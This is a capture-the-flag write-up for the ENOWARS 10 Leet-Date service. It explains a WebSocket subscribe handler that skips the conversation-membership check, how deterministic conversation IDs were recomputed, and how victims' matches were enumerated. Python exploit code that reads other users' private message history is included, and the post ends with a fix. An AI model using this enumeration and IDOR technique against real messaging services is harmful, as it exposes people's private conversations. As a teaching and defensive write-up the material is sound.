ENOWARS 10 Leet-Date, Part 3: Reading Private Chats over WebSockets
The REST API enforced conversation membership, but the WebSocket subscription path accepted any conversation ID.
The chat flag store
This is Part 3 of a three-part series about Leet-Date from Enowars. Start with Part 1 for the challenge introduction and the LZ1 codec bug, or read Part 2 for the premium receipt forgery.
The final flag store was a private message between two matched users. The scoreboard identified one participant by public handle, but it did not provide the other participant, the conversation ID, or a session belonging to either user. To recover the flag, I needed to find the victim's conversations and read their message history as my own account.
The REST API appeared to enforce that boundary correctly. Message reads and writes loaded the conversation and checked that the authenticated user was one of its members. The WebSocket implementation offered another route to the same data.
Two paths to the chat system
The browser used HTTP routes for the normal chat interface, while the backend also exposed a WebSocket endpoint at /api/ws. After authenticating with the normal ld_session cookie, a client could send JSON commands over that socket.
One command subscribed the connection to a conversation:
{
"type": "subscribe",
"conversation_id": "..."
}
The server handled it with this branch:
case "subscribe":
if in.ConversationID != "" {
d.Hub.Subscribe(in.ConversationID, client)
d.hydrateRecent(c, client, in.ConversationID)
}
The connection was authenticated, but the handler never asked whether that user belonged to in.ConversationID. It added the client to the live broadcast group and immediately called hydrateRecent for the supplied ID.
Hydration queried the latest 50 messages directly:
SELECT id, conversation_id, sender_id, body, created_at
FROM messages
WHERE conversation_id = $1
ORDER BY created_at DESC, id DESC
LIMIT 50
The handler already knew the authenticated userID; neither subscription nor hydration passed it into an authorisation check. Any logged-in account could request the history of any conversation whose ID it knew.
This branch was easy to miss in browser testing because the React frontend did not send subscribe messages. The vulnerable command was implemented by the server but unused by its own client. I only reached it after reading the protocol handler and sending the JSON myself.
Reconstructing conversation IDs
The missing membership check still required a valid conversation ID. Leet-Date generated those IDs deterministically from the two participant handles and a constant salt:
func ConversationID(handleA, handleB string) string {
a, b := handleA, handleB
if a > b {
a, b = b, a
}
sum := sha256.Sum256(
[]byte(a + "\x00" + b + "\x00" + convoSalt),
)
return hex.EncodeToString(sum[:16])
}
Sorting the handles made the result independent of participant order. The first 16 bytes of the SHA-256 digest became the hexadecimal ID.
The same function in Python was:
def conversation_id(first, second):
first, second = sorted([first, second])
material = first + "\0" + second + "\0leetdate-convo-v1"
digest = hashlib.sha256(material.encode()).digest()
return digest[:16].hex()
At this point I knew one handle from the scoreboard, but I still needed the victim's matches. Another authenticated endpoint returned them without requiring that the requested profile belong to the current user:
GET /api/users//matches
For every handle in that response, I could reproduce the conversation ID shared with the victim. The match-list disclosure provided the second input, and the deterministic ID function provided the exact object identifier expected by the WebSocket handler.
The attack for one victim was therefore:
- Ask for the victim's matches.
- Pair the victim handle with every returned handle.
- Calculate each conversation ID locally.
- Subscribe to those IDs over an attacker-controlled WebSocket.
- Read the hydrated message events and extract flags.
Debugging the first WebSocket client
I initially wrote the smallest possible WebSocket client on top of a raw TCP connection. It sent the HTTP upgrade request successfully, received 101 Switching Protocols, and then appeared to get no application messages.
The server had already sent its first WebSocket frame in the same TCP read as the HTTP response headers. My parser split the buffer at \r\n\r\n, kept the header portion, and discarded everything after it. That discarded tail contained the first frame.
Preserving those bytes and feeding them into the frame parser fixed the client. The proof then received a hydrated message belonging to two unrelated users:
event {"message":{"body":"FLAG{ws_idor_...}"},"type":"message"}
leaked_secret_found True
After the primitive was confirmed, the farm exploit used a WebSocket library rather than maintaining a custom frame parser. The raw client had served its purpose by showing exactly where the response bytes went.
Scaling it across a target team
The first automated version created a new WebSocket connection for every candidate conversation. Each connection repeated authentication, the HTTP upgrade, and the initial server handshake. It recovered flags, but spent too much of each round establishing sockets.
The server allowed one connection to subscribe to many conversation IDs. The final script registered one attacker account, collected all candidates for the target team, and removed duplicates before opening a socket:
conversation_ids = set()
for flag_id in flag_ids:
victim = json.loads(flag_id)["handle"]
matches = session.get(
f"{URL}/api/users/{victim}/matches"
).json()["matches"]
for match in matches:
conversation_ids.add(
conversation_id(victim, match["handle"])
)
The attacker's session cookie authenticated the WebSocket:
ws = websocket.create_connection(
f"ws://{host}:6789/api/ws",
cookie=f"ld_session={session.cookies['ld_session']}",
origin=URL,
timeout=1,
)
ws.recv() # initial hello event
The script sent every subscription over that one connection:
for conv_id in conversation_ids:
ws.send(json.dumps({
"type": "subscribe",
"conversation_id": conv_id,
}))
Every successful subscription caused hydrateRecent to send up to 50 message events. Once all IDs had been submitted, the script drained the socket until its short receive timeout expired:
seen = set()
while True:
try:
event = json.loads(ws.recv())
except Exception:
break
if event.get("type") != "message":
continue
body = event["message"]["body"]
if body in seen:
continue
seen.add(body)
for flag in FLAG_RE.findall(body):
print(flag)
This reduced the network setup to one registration and one WebSocket per target team. The number of subscription messages still depended on the victims' match graphs, but those messages were small and did not require additional handshakes.
Fixing the WebSocket path
Before calling either Hub.Subscribe or hydrateRecent, the handler must load the conversation and verify that the authenticated userID matches one of its participants. The REST and WebSocket paths should call the same authorisation helper so they cannot implement different rules for the same messages.
For example, the subscription branch can resolve membership first and stop on failure:
case "subscribe":
if in.ConversationID == "" {
break
}
if !d.userInConversation(c, userID, in.ConversationID) {
client.SendError("conversation not found")
break
}
d.Hub.Subscribe(in.ConversationID, client)
d.hydrateRecent(c, client, in.ConversationID)
Making conversation IDs random would reduce predictability, and restricting the match-list endpoint would remove the easiest enumeration source. Those changes only make valid IDs harder to discover. The membership check is what prevents a known ID from exposing another pair's messages.